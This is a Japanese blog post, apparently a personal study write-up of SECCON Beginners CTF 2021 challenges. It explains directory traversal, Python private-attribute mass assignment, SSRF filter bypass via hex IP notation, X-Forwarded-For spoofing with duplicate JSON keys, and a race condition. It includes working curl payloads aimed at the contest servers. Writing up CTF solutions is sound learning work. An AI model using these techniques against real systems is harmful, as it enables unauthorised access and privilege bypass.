2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

SECCON Beginners CTF 2021 Writeup(自分の勉強用)

Last updated at Posted at 2021-05-23

pwn

Beginnerのやつだけとけた。

rewriter

これなどを見て,ソースコードを読んで,objdumpして,関数のアドレスを取ってきて,書き換えて,実行させる。

Web

osoba

サーバの/flagにアクセスしたいが,そのままでは当然弾かれてしまう。
/?page=public/xxx.html というふうにそれぞれの遷移先のページにアクセスしていることがわかる。ここにあからさまにディレクトリトラバーサル脆弱性がありそうなので,試すと通る。

Warewolf

コードが公開されているので,読む。
人狼になればいいことが分かるが,Player classの初期化で,乱数でroleを決めるときには,WAREWOLFは除かれている。

app.py
    self.__role = random.choice('VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN')

ではどうすればいいのかというと,POSTのパラメータでcolorとnameが送られるので,要素数だけforを回してplayerのdictに突っ込む処理が走っており,そこをハックすれば良い。

app.py
    @app.route("/", methods="GET", "POST")
    def index():
                    if request.method == 'GET':
                                    return render_template('index.html')
    
                    if request.method == 'POST':
                                    player = Player()
    
                                    for k, v in request.form.items():
                                                    player.__dict__k = v

しかし,愚直に,role=WEREWOLFとしても通らない。なぜなら,roleにはアンダースコアがついており,private変数だからである。ここで詰んだと思ってはいけない。
pythonでprivate変数にアクセスする方法をググる。すると,実はpythonにおいては,private変数はpublicで,_Class__varnameに名前が変わっているだけだということがわかる。やp糞

これでもう人狼になることができる。
$ curl -X POST 'https://werewolf.quals.beginners.seccon.jp/' --data 'name=hoge&color=fuga&_Player__role=WEREWOLF'
とか叩けば,flagがもらえる。

check_url

SSRFのお手本っぽい状況設定。そもそも,配布されているphpコードに"Hi, Admin or SSSSRFer"と書いてある。
GETのとき,パラメータでurl=……と指定して送ると,取得されたそのサイトの内容が表示される。
コードを見るとif ($_SERVER["REMOTE_ADDR"] === "127.0.0.1")でflagを表示するというふうになっている。
しかし,英大文字小文字数字/以外の文字は,正規表現によりサニタイズされているので,普通にドメインを書くと,"."がサニタイズされてしまう。これを抜けたい。
この問題はさらに親切で,c(heck)_urlという題名もhexの暗示っぽい。
ipアドレスの表現は一つではない。ドメインだけでなく,当然ipアドレス"xxx.xxx.xxx"でもokだし,これの16進数表記でもアクセスできる。16進数で表現されたipには,特殊文字はない。おしまい。

json

個人的には一番勉強になった。
やらなければならないことは,ipアドレスの偽装と,ちょっとした工夫である。
私はip偽装の問題は初めてだったので,そこでまず手間取った。
ググってヒットしたIssue( https://github.com/gin-gonic/gin/issues/1684 )が実はかなりドンピシャだったのだが,知識が足りず,nginxのproxyについてや,本気でipを偽装する方法などを調べ回ってしまった。
先のIssueが全てだが,簡潔に言えば,ginでの,c.ClientIP()は,X-Forwarded-ForやX-Real-Ipを見てClientIPを取得しているので,proxyでX-Forwarded-Forしか処理していない場合,X-Forwarded-Forの偽装は容易なので,ClientIPも余裕で偽装できてしまう。これを使えばよい。

$ curl -X GET -H "X-Forwarded-For: 192.168.111.1" https://json.quals.beginners.seccon.jp/
などと叩くと,内部ページにアクセスできる。やったー。

それで,flagはどこにあるのかというと,内部APIを叩いた結果として返ってくる。

bff/main.go
        r.POST("/", func(c *gin.Context) {
            // get request body
            body, err := ioutil.ReadAll(c.Request.Body)
            if err != nil {
                c.JSON(400, gin.H{"error": "Failed to read body."})
                return
            }
    
            // parse json
            var info Info
            if err := json.Unmarshal(body, &info); err != nil {
                c.JSON(400, gin.H{"error": "Invalid parameter."})
                return
            }
    
            // validation
            if info.ID < 0 || info.ID > 2 {
                c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
                return
            }
    
            if info.ID == 2 {
                c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
                return
            }
    
            // get data from api server
            req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
            if err != nil {
                c.JSON(400, gin.H{"error": "Failed to request API."})
                return
            }
            req.Header.Set("Content-Type", "application/json")
            client := new(http.Client)
            resp, err := client.Do(req)
            if err != nil {
                c.JSON(400, gin.H{"error": "Failed to request API."})
                return
            }
            defer resp.Body.Close()
            result, err := ioutil.ReadAll(resp.Body)
            if err != nil {
                c.JSON(400, gin.H{"error": "Failed to request API."})
                return
            }
    
            c.JSON(200, gin.H{"result": string(result)})
        })

でも,バリデーションで,idが2だと,だめだよ!flagとれないよ!と言われてしまう。
ここで,json.Unmarshal(body, &info);に注目する。infoを見ると,jsonのkeyが"id"の要素をinfoではIDというkeyで保存するというふうに指定しているらしい。

それでは,"id"をIDと共存させたらいい感じにすり抜けられそうだということになる。つまり,jsonでは"id"である"ID"と,jsonで"id"であってdictでも"id"であるidを作ればバイパス可能っぽい。実際,http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))とかbodyを丸々渡しているし,apiの方ではjsonparser.GetInt(body, "id")で "id"を読んでいる。なんとなくいけそう。

細かい言語仕様とかによる原理は調べていないけれど,試すのは2通りなので適当にやればいけた。
$ curl -X POST -H "X-Forwarded-For: 192.168.111.1" https://json.quals.beginners.seccon.jp -d '{"id":2,"id":1}'
こういう感じでokでした。

cant_use_db

ぽちぽちしていたら想定解法に到達してしまった。
記録や読み取りのためにファイルを開いて処理を止めて……としている間に個数はどんどん増えてしまうので,個数:増加,金額:不定というふうになってしまう。
これで本来残高が足りなくて実行できないはずのeatが実行できる。

感想

ほぼWebしか解けませんでした。精進ですね……

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?